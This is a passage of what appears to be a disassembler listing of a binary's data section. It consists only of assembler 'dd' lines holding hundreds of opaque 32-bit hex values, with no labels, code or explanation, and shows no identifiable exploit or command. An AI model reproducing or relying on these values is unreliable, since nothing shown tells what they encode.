		dd 657D755Eh, 0D102A24Eh, 4678C673h, 29D48456h,	0C8CF28C3h
		dd 17BD6B8Ch, 3CE3CAh, 2A21C114h, 0A7001469h, 7E8FB688h
		dd 1262D0h, 65152566h, 0B38709CAh, 0B026410Fh, 727A219Dh
		dd 7460F7FAh, 0F376E9h,	0FE0254F5h, 0C06741AAh,	95D25000h
		dd 258C7A19h, 81AF002Eh, 212978E9h, 40723B46h, 0F086F105h
		dd 94C387CFh, 6465E080h, 0E4BF58A4h, 70A2B900h,	30C6E99Ah
		dd 0F07B100h, 8FDC3453h, 90830F8Eh, 0B5C1631Dh,	0E3C82216h
		dd 0E4CE5C81h, 5907AA71h, 9CF6CA7Ch, 7E332CD0h,	6061050Dh
		dd 0BBC1A8h, 0DD50B2E0h, 421356A5h, 0A70FA4FFh,	0ACA7406Ch
		dd 15833Bh, 45B905ECh, 381120B2h, 42F0CCA3h, 3D1CE06Eh
		dd 0F112269Fh, 6840D10h, 536AE84Ch, 0A30B0029h,	8B13F62Fh
		dd 0D404D7BFh, 1788394Ah, 0D101C4A8h, 0B6AFF183h, 0B9D04050h
		dd 0A6C0026Dh, 0DD6E9839h, 0E9E6D3h, 595FF1A6h,	38D6E5F6h
		dd 219E4600h, 9654F7C0h, 35A00037h, 43978803h, 0E40F57F6h
		dd 0C6248A2Dh, 98F4EAh,	5FAA5A79h, 982FF707h, 0EEB68D00h
		dd 35EFC4DDh, 0A6040F1Bh, 1080F5D0h, 47A4B267h,	9798BF00h
		dd 51F04816h, 372779Fh,	0AA1FF418h, 0E6D021C9h,	0BE00AC1Eh
		dd 2265EE8Ch, 48DCACDh,	0F986E35Fh, 0B58C8888h,	4E40D11Dh
		dd 0E00D48CAh, 4DC0821Dh, 36D2D62Ah, 78CE0365h,	0BC6E1843h
		dd 1E637A88h, 0EDA66F00h, 2C3337E5h, 0A0410083h, 0B2B70F60h
		dd 87008086h, 968C2336h, 7710EC7h, 63466892h, 0C898105Ch
		dd 4C008DDBh, 56A121B0h, 0A38E0Ah, 337FC5ADh, 2FFAD9F4h
		dd 0F298C100h, 818D7684h, 0DC3F50D5h, 9DA0E49h,	9CC05E0Dh
		dd 879FEAC9h, 0B5CF8D00h, 0E894EF19h, 0BFF83A53h, 0FA0D07F8h
		dd 20273852h, 7C88E714h, 54850500h, 5B23463Fh, 6A3600BBh
		dd 163D3AABh, 6C149771h, 8945DD9h, 80668F1Ch, 0C04CA0CFh
		dd 997FDEE2h, 21DB5702h, 60C5CAA6h, 9D33B20h, 3097BCA9h
		dd 6E7C480h, 0C7166069h, 0AC400473h, 71DBD7EFh,	0CF7000Ah
		dd 0E0CA98E4h
		dd 0F9FE4011h, 82944A02h, 403C913Fh, 22DA1240h,	0F91F7F64h
		dd 4DC0EBA2h, 1D2EB27Ch, 0AA2D0412h, 0C03B36E6h, 0F896E4C8h
		dd 0EF5F8900h, 51E237B1h, 1CCAE615h, 2CD2D9CEh,	52EC809Ch
		dd 0F62BC2EAh, 39084090h, 515C6960h, 1CAFEC6Dh,	0FB4B4800h
		dd 0C7628B58h, 139EC25h, 0A7C94A9Fh, 0FCA37741h, 5B09F992h
		dd 876AF6BDh, 6FB0C3ECh, 0B008C92Ah, 67530998h,	68603161h
		dd 8D0F71A8h, 4058FAD4h, 22CA591h, 0A0E21206h, 0B201FCCh
		dd 0DD808AD6h, 9672E94Eh, 2CD7F05Ch, 84006076h,	773A6832h
		dd 0D0D50110h, 366B0892h, 2B07D8D2h, 39051490h,	245BAD35h
		dd 95A11CC0h, 857D1804h, 0F39E1027h, 70D26C00h,	263BA247h
		dd 0CF2500E5h, 6237831Ch, 0B400A668h, 9A97A0E8h, 0CC74182h
		dd 0CBA70260h, 0E90317A0h, 5724166Ch, 0B8E3C82Dh, 0ED751C76h
		dd 691EC06Fh, 22C37DD3h, 0A5066C04h, 748C901Fh,	5F840089h
		dd 0B7D1B6F8h, 171A3B26h, 81B83E44h, 5E0EA2CEh,	2E954F0h
		dd 0F3664A59h, 44401749h, 0C3079C74h, 60C68F6h,	0B826F5D0h
		dd 9BBF0052h, 0B4BADA8Ah, 0D73A1478h, 1A908080h, 918D6079h
		dd 151F1D95h, 0E1488AE9h, 164788D8h, 0FD137A80h, 0C414A715h
		dd 0C0319F68h, 5C54D779h, 0F8C8C230h, 0A88EB4CFh, 12ABCCh
		dd 0EEED42C9h, 1BAC56BCh, 49694300h, 0D164CB7Ch, 45D80084h
		dd 1A76F17Dh, 6000E6B6h, 8DAD48Ah, 2DE73DFh, 0AEE21B9h
		dd 0E8128Bh, 6A00FC7Bh,	0E6C7B154h, 0E248DCEh, 55D11C19h
		dd 3DC19580h, 5C00B959h, 0CC7F9375h, 0AB4F15h, 181A8850h
		dd 693695AAh, 7D0FE090h, 801643F4h, 0C868FFE7h,	0BB4B00D4h
		dd 472458B2h, 8E00F2A6h, 59FE0AA2h, 5E8844h, 0D5DFD72Ah
		dd 0C57A6476h, 0C81EB50Bh, 7315019Eh, 20201D43h, 90C30388h
		dd 0B86D97B0h, 406087CAh, 860FD7D3h, 0AAA62FA7h, 260EA41Bh
		dd 3EA420FAh, 397630h, 168E65DCh, 457ACF88h, 4B993500h
		dd 440AF1ECh, 5D380771h, 0B0538EB2h, 0A13CC09Bh, 8E93Dh
		dd 31DCE6C4h, 0B00C8F75h, 0E08316BBh, 0C0ED1C9Dh, 851FEE8Ah
		dd 803F08B8h, 0FDB1804Eh, 2C235686h, 0E0CB003Eh, 0B5CC0EE3h
		dd 9400C36Ah, 8B2950CDh, 1FC16376h, 803A86FEh, 7504EC1Bh
		dd 0AE2756F5h, 0CD6880D6h, 240125C3h, 4CAF7h, 4AD59A9Eh
		dd 8801222Fh, 0A42889ECh, 3425BE37h, 46F320h, 0DA6779Bh
		dd 0F62A85F3h, 0B907AA00h, 0CF140FBFh, 114D0029h, 878CF1D5h
		dd 0E8A03F20h, 530049F8h, 1A89B351h, 203B97D2h,	15005896h
		dd 0F24306FCh, 90E418h,	0E1D06CE0h, 38CCB752h, 0AC003D4Fh
		dd 8C5E0622h, 75670783h, 80DC77DFh, 0FA4D785Ch,	0A6C0A700h
		dd 7B2AFBFEh, 10E8A01Ah, 0F700ED8Bh, 9C008AB1h,	696641FEh
		dd 0E653646Ch, 0DC4F0Ch, 1FC706FCh, 0A0006860h,	45C47440h
		dd 3EFFB734h, 0A8F6384h, 58E04A2Ch, 5A236D65h, 27BBD12h
		dd 505EB448h, 4230266Bh, 0D18F213Ah, 87430F8Bh,	0F2404693h
		dd 0CDFE4154h, 4AC71703h, 0E0370BDDh, 0FC4506h,	741D7FCAh
		dd 2BEB9F12h, 0F4A8800h, 4F1E0DC0h, 93650523h, 0B0CB6B27h
		dd 34B938D8h, 5B121A1Fh, 0EF9EE400h, 8ED634h, 0D393D025h
		dd 0DF2D58C8h, 0DD00A5E2h, 6C801082h, 94B350AFh, 0CFB903C8h
		dd 0FE3DB19h, 0B46870FDh, 4F003E6Fh, 0F1AC04F0h, 5C4C3C5h
		dd 0D844058Ah, 9D34C30Eh, 68BFFFE0h, 800C0D3Dh,	0FA3B14D9h
		dd 7C4432E3h, 0D17E0078h, 4A340251h, 38008437h,	0BD60B91Fh
		dd 38AD1207h, 0F2FCE28Fh, 313A0015h, 6CC5E5C9h,	0A900D695h
		dd 0EA8E82DCh, 0F141C94h, 0BC832838h, 0C3F22AA0h, 0F290473Dh
		dd 8F7B3400h, 0F524AD6Dh, 8D2D1EEAh, 98C6D4E0h,	8C55300h
		dd 3EF0183Bh, 0C4008273h, 6B917673h, 5D1A41h, 0CED79337h
		dd 82E9BBC8h, 1652F405h, 3A808F9Ah, 5C5BE7h, 2228F5CBh
		dd 5A203B27h, 0E508F498h, 0FBBECh, 71D1FD84h, 38002B0Ch
		dd 22F7EFD5h, 1AB9007h,	0EB5C3F9Fh, 0E01D19F6h,	0D305A3BDh
		dd 89156571h, 0A0889100h, 1C3DF54h, 9CC8836Ah, 0C81FE4C2h
		dd 0F8009376h, 0F0648A03h, 486F210h, 0D42C5B94h, 0B018C474h
		dd 1C5B41E8h, 0D0C5DC00h, 0A9A53Bh, 9D90E684h, 27DE98DBh
		dd 4718E300h, 53B6548Eh, 24330075h, 5CDF0A0Eh, 0F61F60FEh
		dd 2A00F3B0h, 19E6ED96h, 0CB830043h, 16847BFCh,	0A301EC46h
		dd 5A4C1A9h, 9BC7E33Ch,	0DBF0AF0Ah, 0EAB54BFEh,	0B435EAC3h
		dd 8C0381BCh, 60B3725Bh, 5A0CB53Dh, 1C220233h, 91EE00B9h
		dd 4EB65774h, 4524EDDEh, 108180D9h, 0C89D21E5h,	382F1BF0h
		dd 0AB003E3Ah, 0E913DFD3h, 25741131h, 0CEC93500h, 0E0788CB2h
		dd 0A699002Ch, 0E75379ACh, 270F1B1h, 0EBBA5F00h, 8A0FEEDFh
		dd 0C4E90011h, 1BE81A39h, 34006591h, 924042C7h,	8996D1h
		dd 0EF568F7Ah, 0A90D418Dh, 0DD24A400h, 25857386h, 0CAE00FEh
		dd 5358C9DBh, 0A10E8CBCh, 8105CFD9h, 0EA09BA55h, 984800FFh
		dd 0E4CE2368h, 1200E395h, 7F8BC2CBh, 497D790h, 0F32CD00Fh
		dd 13FCD0F8h, 4400B2A7h, 0C7605152h, 4B1173Ch, 0E565F41h
		dd 0D75CC0C1h, 0B803CE58h, 7C5A890Dh, 42BED067h, 657F7148h
		dd 9EEE52h, 4A5DD5B4h, 0A00E1FCh, 5FDE5717h, 596DC2DDh
		dd 162824AEh, 752498F8h, 9E250171h, 0F3B4D610h,	6FC8E45Ah
		dd 5CB8A800h, 2DFF8970h, 5B241FC2h, 0F4E6DBh, 3C34BC9Eh
		dd 9B052550h, 0AA98A34Fh, 2E469CB0h, 20ED7711h,	218C0098h
		dd 534471A1h, 200E19Ch,	9E908DE4h, 59691348h, 9A043861h
		dd 900F08F7h, 75D0D614h, 0FBE31201h, 31DE56ABh,	39ADCF4h
		dd 52BC0306h, 0D0C75068h, 97EF95CCh, 4CFDDCA0h,	7BBF082Eh
		dd 0C2DECE01h, 0E8F4D46Bh, 9CA9000Ch, 6BC2574h,	32007719h
		dd 4A523B3Fh, 594210CAh, 0B9258C71h, 0AC8BA410h, 85DFE801h
		dd 18C86CE1h, 0ED3D9030h, 2349ECCh, 0C572F853h,	1050280Dh
		dd 0C0383E30h, 132A8FEh, 3376CC14h, 0FC35E7D9h,	0A50B49FDh
		dd 82EA1118h, 80D33B65h, 12E0A7ECh, 870F5B2h, 0AB081293h
		dd 7084009Ah, 0FD071BE7h, 7B1F6990h, 190C2F11h,	0C438C2h
		dd 849D7987h, 5A0BE080h, 60D1F51Fh, 0A74385C0h,	0E36CD3Bh
		dd 0FE8A1798h, 0FB5FD402h, 0BE4FC2E0h, 0D80065FCh, 0B41F2709h
		dd 2C79B9h, 99346687h, 3D3EBAB3h, 9D6A3500h, 6988F641h
		dd 68810463h, 0B09924A8h, 0AD00FA7Ch, 95024DC8h, 7150C4Bh
		dd 0A7FE3D98h, 0ED19C0E7h, 0DF00BF11h, 0F1376B9h, 0EB8EB7h
		dd 5725EC1Ah, 0E2F1562Dh, 6C0019ECh, 0DFE7C7C0h, 7B83D60h
		dd 16EBD159h, 808994B7h, 0B68D992Ch, 196A1E00h,	32BD88BBh
		dd 0A464FD0Ch, 85D900FAh, 7FA9DF69h, 570F2741h,	62173537h
		dd 7028DA15h, 0C73003E8h, 76C42A0Dh, 0A811FCF8h, 4BC5D917h
		dd 2F6924C0h, 0FE9B48DBh, 4827497Bh, 85B63002h,	64400F6Ch
		dd 5800D5CEh, 86B9B282h, 39572BD6h, 68006446h, 0A492CA55h
		dd 5100BD2Dh, 0B0F9C95Eh, 12830553h, 4B170D3h, 44952E38h
		dd 67005F9Dh, 9C0BA4C4h, 366FAB00h, 2A8BBADBh, 0E5D401DAh
		dd 0F1B688D6h, 0F0F86046h, 2C69BE0Eh, 976007DCh, 81C0E414h
		dd 0D79DBh, 2A0B1881h, 0A4D54CD4h, 0B1E0DD07h, 2C9022B0h
		dd 76505Dh, 2E067A57h, 0A73E1B6Ah, 0C3E5CC50h, 8637CF00h
		dd 0F5A40D75h, 0ED762C72h, 79670018h, 6E13F18Bh, 2552A800h
		dd 0C288932Ch, 0DC2600B3h, 1231261h, 0A6005984h, 2F508AC6h
		dd 34D468Bh, 742EC528h
		dd 9C020AEh, 9C0F54C7h,	1EBD29F7h, 37826E45h, 0F4DBD400h
		dd 0E2D8E4D3h, 625516DFh, 0BC280083h, 8908708Dh, 0C5601301h
		dd 31236EC0h, 2F4CFCDCh, 28816B1Eh, 0D42429B4h,	0F1008057h
		dd 0E8627A35h, 5CACE1h,	0CF9B7F6Bh, 3ADA0A60h, 0A750650Fh
		dd 0FEA3403Dh, 0C8554Dh, 7F11E464h, 8034309Eh, 4E42B801h
		dd 0ADA50B27h, 176A39F4h, 3C1360DCh, 0EC1F8898h, 84C05E91h
		dd 0FA3095A2h, 499901B3h, 0A5CA7C57h, 4569D8EBh, 9E000EE2h
		dd 81B3E211h, 4CC9DE58h, 1580F078h, 0B2F45EAAh,	64539703h
		dd 93E543F2h, 755CB7Ah,	0BBB492B8h, 3304000Eh, 0DD005BB6h
		dd 0E483D7D4h, 9068E236h, 67FF0024h, 4F85EA73h,	3D750C5Ah
		dd 36C0903h, 156659Dh, 5D4AF894h, 40D158F4h, 81FC99B6h
		dd 4B186700h, 0FBC4A89Eh, 1EE6EBh, 8C1457F1h, 79FC46B1h
		dd 4E3BD602h, 56EFFE3Ah, 2AAF0FC4h, 0EE4A5FE0h,	443F9F28h
		dd 9DC00AEh, 481834E2h,	615C01A3h, 0EB2B5256h, 0FDCDCC7Fh
		dd 8F2C0A76h, 5B18E43Dh, 2E1A6B16h, 28544EF8h, 41B42494h
		dd 5E03032Bh, 710CE96Fh, 2084514Eh, 4967C1Bh, 0C9E21805h
		dd 0A7F54BEAh, 38DC8648h, 7A1B48E1h, 42CFFC02h,	98833C36h
		dd 0BDF8D653h, 84002C4Ch, 655AD40Fh, 0C0958922h, 5F9F6F49h
		dd 642DEC32h, 93900F39h, 0BA07AE00h, 0B57B55Bh,	0C40B61BDh
		dd 0E680D040h, 0B38C5E01h, 0C3082DEBh, 88DC0C41h, 90D32C43h
		dd 3367BEh, 8BE5B498h, 0D92F4958h, 161D4B07h, 0E3D08647h
		dd 0F6DA66h, 687E2804h,	0A672F390h, 8AF4600h, 0F9E1123Ch
		dd 0DB7052h, 8F0458CDh,	23ECD57Fh, 39877C00h, 10BEA1E4h
		dd 0B46B00EAh, 0EE50AE47h, 0AD3A4A4Eh, 23AA8092h, 1A5ABF45h
		dd 128203E5h, 3E718BEh,	89A596D8h, 0A2DD6600h, 265A1DB7h
		dd 0EFB13A0Bh, 9B390503h, 44C12894h, 40B8C8DEh,	0E480CD55h
		dd 307E4965h, 3478DD03h, 0B8F2F9C2h, 542F89h, 418F0DA0h
		dd 467E948Dh, 2A2C7600h, 21DD1FCDh, 5DB800DBh, 2F48DF85h
		dd 0A300A620h, 6EB02788h, 0EC7D83h, 81AF0516h, 0BD2C098Dh
		dd 80A42D3Bh, 8F280CCCh, 0EEAAB43Ch, 0C7250037h, 8982FB12h
		dd 9D39631Ah, 0A9830786h, 0FDF0F419h, 0B0B099F0h, 0DBEC7Fh
		dd 0A442DE1Ch, 0EFCF67BCh, 4DCA355h, 0EB042AD8h, 16159B00h
		dd 27253F3Ch, 18CA602Bh, 54FA0442h, 2FA60018h, 31C94E58h
		dd 7C16900h, 0F5493B8Ah, 483003Dh, 0C3898BD1h, 7964B495h
		dd 82200529h, 65803C97h, 0BFA388B5h, 84114F40h,	3F30F310h
		dd 3E44A93Ch, 44ADB244h, 334401D1h, 6328A05Dh, 0D07988B3h
		dd 255AD28Bh, 0EF140441h, 425548BEh, 5E2F5C99h,	0B1E42222h
		dd 0A3116142h, 14192156h, 0FD303C52h, 707EA5C9h, 0D882CC00h
		dd 0DA0B45EBh, 38DC000Dh, 4A3EEAB5h, 0C21D96EDh, 0C000AF4Dh
		dd 5AF40E52h, 910707E7h, 0B01C3336h, 60B50F8Fh,	51B1CB00h
		dd 0D8D76F58h, 67500F1h, 7EE04385h, 0DD007D27h,	8B673B57h
		dd 711FE8Fh, 0F521B9DBh, 0BD471098h, 0B01E58BEh, 63801006h
		dd 0A34EC439h, 0F6FA002Bh, 230BB955h, 4098040Ah, 1D454400h
		dd 58102E94h, 0A1B51F24h, 593300CDh, 899D69C0h,	85784200h
		dd 0B210AC9h, 9A840EB6h, 51012334h, 3B9C4970h, 1746FA0h
		dd 0E924BEC6h, 0E8FF8EEDh, 0B00F2B6h, 205176D7h, 127252h
		dd 0A3C32414h, 852F169Fh, 56EF6800h, 0D0C1FC9Ah, 1C6C068Bh
		dd 10F9CA20h, 0BFFFF228h, 7E117367h, 8103AC00h,	0E8D7AE4h
		dd 0A3666F21h, 4E34BC22h, 0C72A81C0h, 0B88BF307h, 80BC2F25h
		dd 0E92717A0h, 886C10E4h, 90632800h, 0FD551BFAh, 24DF5007h
		dd 0B90030CBh, 0E9F1632h, 29430EE7h, 0F9B853Fh,	97CB0018h
		dd 0A0172C01h, 0FF00E27Ah, 25F0D56Bh, 0F686D063h, 43601E37h
		dd 15CFC0DDh, 8CB01AF9h, 0EBE0AA00h, 0A34A9518h, 3A6E0073h
		dd 46B5F592h, 0FB0E2550h, 0E00FC970h, 3695F1EAh, 2B930144h
		dd 7477ACF3h, 0B68DC4D3h, 891F2F00h, 307E8C20h,	9851057Dh
		dd 0C0BED63Bh, 161E3A8Bh, 0B506F800h, 6245354Dh, 0B626001Fh
		dd 0F09C5422h, 0F019309h, 0B8760C11h, 0D9F84EA4h, 8D391F24h
		dd 5A608055h, 52EEF21Eh, 6127F90Fh, 0D0DEDF2Ah,	0BCDD980Ah
		dd 50145F00h, 3B34230h,	0FD9AA52Dh, 9CD09276h, 0B7000F41h
		dd 4F08DAFFh, 0EC15ABB1h, 178901E3h, 0D2FD3FD8h, 901AC47Dh
		dd 0F7219C0Eh, 0D157A02Eh, 32FAF45h, 66A7BF26h,	37E8804Ah
		dd 0C9036BB7h, 114D3623h, 76D1F8DDh, 521A0718h,	87D7A91Bh
		dd 0E7795077h, 0E23E6812h, 839A80AAh, 0C8D94803h, 5B98004Fh
		dd 6C22FE88h, 0D80BE2E9h, 80D6FADFh, 8D460110h,	0AE2F00B7h
		dd 4430E375h, 8A1E562Dh, 483F34ACh, 1E3C12B8h, 3AD2AB00h
		dd 0C8BA32h, 202BD364h,	3E82E7B5h, 3CB7CC0Fh, 0B4FCF38Bh
		dd 0D92D1A00h, 0FE0737EFh, 35C5FDA0h, 0B7004490h, 1EBEDC6Eh
		dd 99698F0h, 5C0E0323h,	7D201800h, 5800ABF8h, 469A4F72h
		dd 0EBA5EFh, 4C22578Dh,	0F88E112Bh, 17038490h, 32625E58h
		dd 0ED1BC148h, 0EF40D4h, 0ACC0883Bh, 0B8078F7h,	6EC52500h
		dd 3A76504Dh, 87560002h, 0BC5B9EC7h, 0AE00061Fh, 88B29232h
		dd 0EC413FEAh, 38440008h, 0ACEDCADAh, 5207A393h, 2F864564h
		dd 61BDC0D0h, 105507D8h, 60E05769h, 9B769CD1h, 0AF170700h
		dd 0C6F2DC31h, 920D4CCCh, 0FE5D8800h, 867423EFh, 75FB3500h
		dd 0BD12B8D6h, 0D0C40AB4h, 3F807FCCh, 3984387h,	0B400EAFh
		dd 769462BAh, 8A544A0Ah, 0BF409C12h, 16B36698h,	0E9A990h
		dd 4F072747h, 0C0024816h, 0F5AD08C1h, 229480FFh, 11E5A5h
		dd 1456C767h, 0BC74729Ah, 10BF3907h, 9838AADh, 3419124Eh
		dd 1A9100F2h, 735B318Dh, 0E0125802h, 821903A6h,	440592E0h
		dd 53AB0024h, 1474752Ah, 0E50096A1h, 0EDBC0D94h, 193B1CE4h
		dd 3AA9B328h, 2803E3A2h, 0CCF91461h, 0C8390076h, 0A001C01Eh
		dd 227ED140h, 0AF85E118h, 18B3F4Ch, 6A2EBAFFh, 0BC11CFB3h
		dd 0DBFA1088h, 1F719A1Dh, 0D73B0EB1h, 0E4B680FFh, 78DBCE60h
		dd 0FCC3A8A0h, 4B77FF77h, 248DF301h, 83635E41h,	0EC723030h
		dd 1701009Eh, 0AFA9D0BDh, 0DA002977h, 7BAC8656h, 1E69DF3Dh
		dd 0C5F2422Bh, 805F8257h, 0FA94EA18h, 0E46E0201h, 0AE92A3D8h
		dd 0FE08908Eh, 5FB52F00h, 40005A0h, 0CA5C4558h,	508AFB6Dh
		dd 0B0E0A03Ch, 0D5653A04h, 1808B92h, 137247F0h,	0BA4EC84Fh
		dd 0B0A57302h, 0E00F2916h, 437656h, 0E7BD440Eh,	0F52FA802h
		dd 679783Ah, 3A72CE13h,	0EA190021h, 0FA4BC406h,	750978A2h
		dd 0F038F761h, 6446074Fh, 50585C0Dh, 0E3DBFB8Fh, 4714ECE7h
		dd 616AEB00h, 0A412F7F8h, 0D2A600DFh, 0A207A945h, 0D6076837h
		dd 0AB617DD3h, 8DB822A0h, 0D0B0002Dh, 27D5F9B2h, 2B009A58h
		dd 0A04B36Eh, 0B59FE3h,	33E606B9h, 67EE9856h, 0A46E5F00h
		dd 318C8838h, 4A1E4CCCh, 0E5DA7600h, 52396147h,	196CC600h
		dd 24C02579h, 1FF4A09Fh, 5C680F7Bh, 0D560109Ah,	0CCA12E53h
		dd 990E0624h, 0AB3F7400h, 237E1Fh, 3322C3AEh, 95373DE2h
		dd 72301800h, 890945C2h, 49970FBBh, 989458F3h, 1C239802h
		dd 6840085Fh, 0F90031D8h, 1AC17401h, 1CFD472h, 0EE44BEFFh
		dd 20AF36FCh, 9317E9F4h, 0FA3888h, 0FE5EC9D4h, 2C0781B7h
		dd 0B6D2CE44h, 0D7760E10h, 188300F5h, 0C19DBF9Ah, 6F0569CCh
		dd 0AC98DB6Dh, 0C4D6EF00h, 824EBDh, 0A9FD04C5h,	343252E0h
		dd 7A13A3Eh, 0F06AFA75h
		dd 0E1A5A6F0h, 10ED0EC6h, 40F3C008h, 0AEEAC9C0h, 0FEE48F1Fh
		dd 0E6E5FF00h, 0F22C1902h, 56100E8h, 0E125EF27h, 7B00774Dh
		dd 0D20C669Eh, 0EC1221Ch, 20966579h, 87822480h,	720078B0h
		dd 0CD46A31Bh, 0E0933AFh, 0BDDAF7F4h, 86AFD6EFh, 0F67F7C61h
		dd 4EB8E32Bh, 0F75C5ED4h, 0F940070h, 0AD749C7Ah, 0EC140013h
		dd 0A6074AAAh, 0E5012735h, 19D36DB8h, 1BD02FBBh, 318E02C0h
		dd 0CE875581h, 0F1C20051h, 2E4D3073h, 0BACAAB00h, 68616549h
		dd 23E00A6h, 442D5852h,	0E72C98C2h, 0A8045F72h,	78C1C6DCh
		dd 43080FD8h, 0EAFDEB03h, 0A838CE8Dh, 58E3627h,	1E7A9957h
		dd 0AEDC01DDh, 0CDABC9FAh, 67B8F75Ah, 3D004569h, 0E04827CEh
		dd 4EFC53h, 0AB140E6Dh,	0EE825EAAh, 4794C80Ah, 1B008AC9h
		dd 0E9E25B46h, 2B950343h, 0C8AC1948h, 3192BBC8h, 5850843Fh
		dd 88C5002Dh, 0E3AA3B0Bh, 397EC83h, 0D5465CCBh,	8805758h
		dd 7703EF47h, 16BEE69Ch, 0BFE49062h, 7C390007h,	9E2BB101h
		dd 0C7004698h, 438485A9h, 7DD5F1h, 0E62042A6h, 0C23F39BFh
		dd 7F7E0402h, 60A7451Bh, 0C9E4ECh, 0F9C14E17h, 0BCA379B0h
		dd 6B408763h, 0DC30CF8Ch, 38CE2C58h, 0B700187Fh, 0C5F98E8Fh
		dd 9B71F496h, 273B3400h, 79E905B0h, 0C1552ED6h,	0DB94028Ah
		dd 0EA432D86h, 4F3D00E7h, 9200F0FEh, 39469D95h,	9B07BEh
		dd 5674F901h, 24B2AF43h, 677D9478h, 0EE0AA707h,	2D90E24Ah
		dd 0CB0E36h, 7ACA4982h,	0D15A2BFCh, 25230900h, 5F6B280Fh
		dd 508800CEh, 5DF03734h, 510F1D7Ah, 41E64ACAh, 36A0622h
		dd 4CA1F5E8h, 0AC00D401h, 0BBA22C91h, 0BA0065CBh, 10429D53h
		dd 0D5D8B6h, 0B1AB6C0Bh, 0AE69469Fh, 0E9233D00h, 3F05439Ch
		dd 3CD9001Eh, 0E8A4F3FAh, 64099725h, 81BA2CB1h,	0E2C30FE4h
		dd 8BD460h, 0FD36EE6Ah,	7B19E0AAh, 0C20A7200h, 0DEF39B5Ah
		dd 4D43987h, 0FB81933Ch, 42176480h, 798C00Dh, 288EF902h
		dd 8F0C3D9Dh, 2C86449Ch, 16BF24B0h, 79036Dh, 8C892538h
		dd 106FFCF0h, 71A30288h, 0D3BFC0C9h, 2D417F32h,	0FD3A38h
		dd 6108290Ch, 28BB002Ch, 9921C5EBh, 0CE05252Dh,	844AF2CAh
		dd 290AB70Eh, 8ACE838Fh, 17638853h, 855B0FE8h, 31A04BA5h
		dd 0D615A25Ch, 73EBA800h, 0E871B9B4h, 44B70756h, 0A4B2A7h
		dd 53B9580h, 600AAF6h, 0D1E2E401h, 73951F5h, 0CDBF9F0Ah
		dd 0D293106Bh, 42B8D57Dh, 1CB2B012h, 4502200h, 596E72EDh
		dd 2B049C07h, 0C049D467h, 0B7A06CC9h, 127D94B2h, 88FFB17h
		dd 0AE39C00h, 0C7B227h,	290EE7E6h, 1C44F96Bh, 2100F671h
		dd 0C38E2E94h, 588558D6h, 0EC00043Ch, 911B084Fh, 0DF00DA43h
		dd 8F30CB20h, 0F34BB7h,	3A569087h, 0FD37868Ah, 39D7903h
		dd 800A50BAh, 7EA425A3h, 62FAAAh, 78012F4Dh, 9E68D76Fh
		dd 54278700h, 48A48832h, 1B4D0392h, 449C3D5Ah, 0A2035EF8h
		dd 363A1802h, 52BBDF6Fh, 0E0B097Ch, 48809D3Bh, 59C390ACh
		dd 2368F500h, 98EB4603h, 58D42557h, 81545C80h, 800B085h
		dd 866026EAh, 2232F45h,	1C8E929Fh, 184873CDh, 0E87FAA90h
		dd 80866D00h, 7A14A5DEh, 0CDA002Bh, 0EDB4E9CCh,	0B97DE5C8h
		dd 0F9CDE600h, 28A76025h, 5CDA003Ah, 8A329480h,	0C388C5Eh
		dd 0ED4B0075h, 1F2A7423h, 106E0086h, 513653B9h,	0B007265h
		dd 55AAE446h, 0C7EA43h,	2C136157h, 0F8E02574h, 9A071218h
		dd 0DFA7084h, 23A5E6D6h, 0CEEBCB20h, 7C98DBBBh,	0DC00095Bh
		dd 771FAC87h, 2823359Eh, 1CB444E5h, 0C06B7224h,	484FC969h
		dd 0B8008443h, 6418D250h, 188E9983h, 584111CAh,	280045F1h
		dd 300E6385h, 57B077h, 0C8CBB338h, 4D3AD78Fh, 80726639h
		dd 76B526FCh, 0B2DD5Eh,	9C9E583Eh, 9237295Ch, 8C87005h
		dd 0AC047BE3h, 14B0971Ch, 0B92A016Bh, 1FBE438Ah, 15B8EB66h
		dd 0D04B798h, 59F8C129h, 0AD1960C0h, 0EFDB0030h, 0CA14C9A7h
		dd 4501C73Eh, 0D5802821h, 0AC40EC56h, 1E936C1Eh, 0DCDF75h
		dd 635BCFD0h, 2F0BABB1h, 8339D608h, 98EF4FDCh, 0F0D0B6D8h
		dd 549F0A6h, 7B9E503Eh,	0DD3A8205h, 0C0812860h,	9C3C8A00h
		dd 0DCB1A7C7h, 2C324D29h, 7327007Ah, 3BF7A637h,	47015716h
		dd 0CFD54F90h, 0E0CF70F8h, 0C02F06B5h, 528F2030h, 81008B7Bh
		dd 4C5BCEE6h, 7BEAACF3h, 3A26006Ah, 109C802h, 0F9042846h
		dd 9596678Ch, 0FA5378A0h, 5DB70F2Dh, 19C69FE7h,	58E01882h
		dd 5C0034F6h, 994E4571h, 60CAFCCEh, 0DCA721E7h,	0E5000AB5h
		dd 24EA3A54h, 72507A92h, 5E0E2597h, 8EE0840Fh, 1BF2885h
		dd 0CAF980C7h, 93C2FAE0h, 731B0013h, 409C4A22h,	3602BC09h
		dd 0C3F0F82Bh, 0F500C08Bh, 16B76FBh, 77C55945h,	0F03C11B1h
		dd 4C0B9198h, 27F714Bh,	50210B6Bh, 0F39C0FE4h, 1EE0A604h
		dd 8DC6005h, 91565802h,	602711C3h, 2C9B7A69h, 4015E1h
		dd 636DD06Ch, 0A6130A7Bh, 0EC9010ACh, 0CA1517h,	5EF1EB2Ch
		dd 0FCEF2909h, 0C31DE300h, 3C83C402h, 3AF00098h, 92AA5332h
		dd 809025D6h, 2808E72h,	406E58C1h, 0C60A5E03h, 86F01461h
		dd 0D0EB643h, 63C8646Dh, 0E283CDAFh, 270C48BDh,	6649043h
		dd 0A5AA81D7h, 5100A8D9h, 37BC482Ch, 9CCC3ADBh,	0D6500040h
		dd 0BAC8D5C2h, 1924077Fh, 0DB1F2031h, 2E988445h, 7E0EC10h
		dd 0C14B9562h, 0B8DD6BD0h, 0B69F0073h, 1AA237BBh, 0FE26D716h
		dd 6C8E3CF9h, 251120E6h, 7132FF5Dh, 0F6942866h,	3BDC00E8h
		dd 7B365F59h, 720B97C2h, 46DBE9B3h, 6705005Ch, 0EE5470ABh
		dd 0DD008644h, 3F629C8Bh, 8A85AAh, 725EBC89h, 0DF7E09A2h
		dd 0C21D9D1Eh, 0AEA7AB00h, 4EF2D8B7h, 602C1CE5h, 3E14B005h
		dd 0A0A03994h, 0BE6D16CBh, 82BC5C75h, 0C4EFF0Ah, 0A04BBC48h
		dd 237F2C13h, 0F45C2C00h, 1DD385h, 3EFDDDF6h, 0DB708792h
		dd 7D54324Ch, 710CC800h, 0ECE69482h, 669C00FBh,	0AA43740Eh
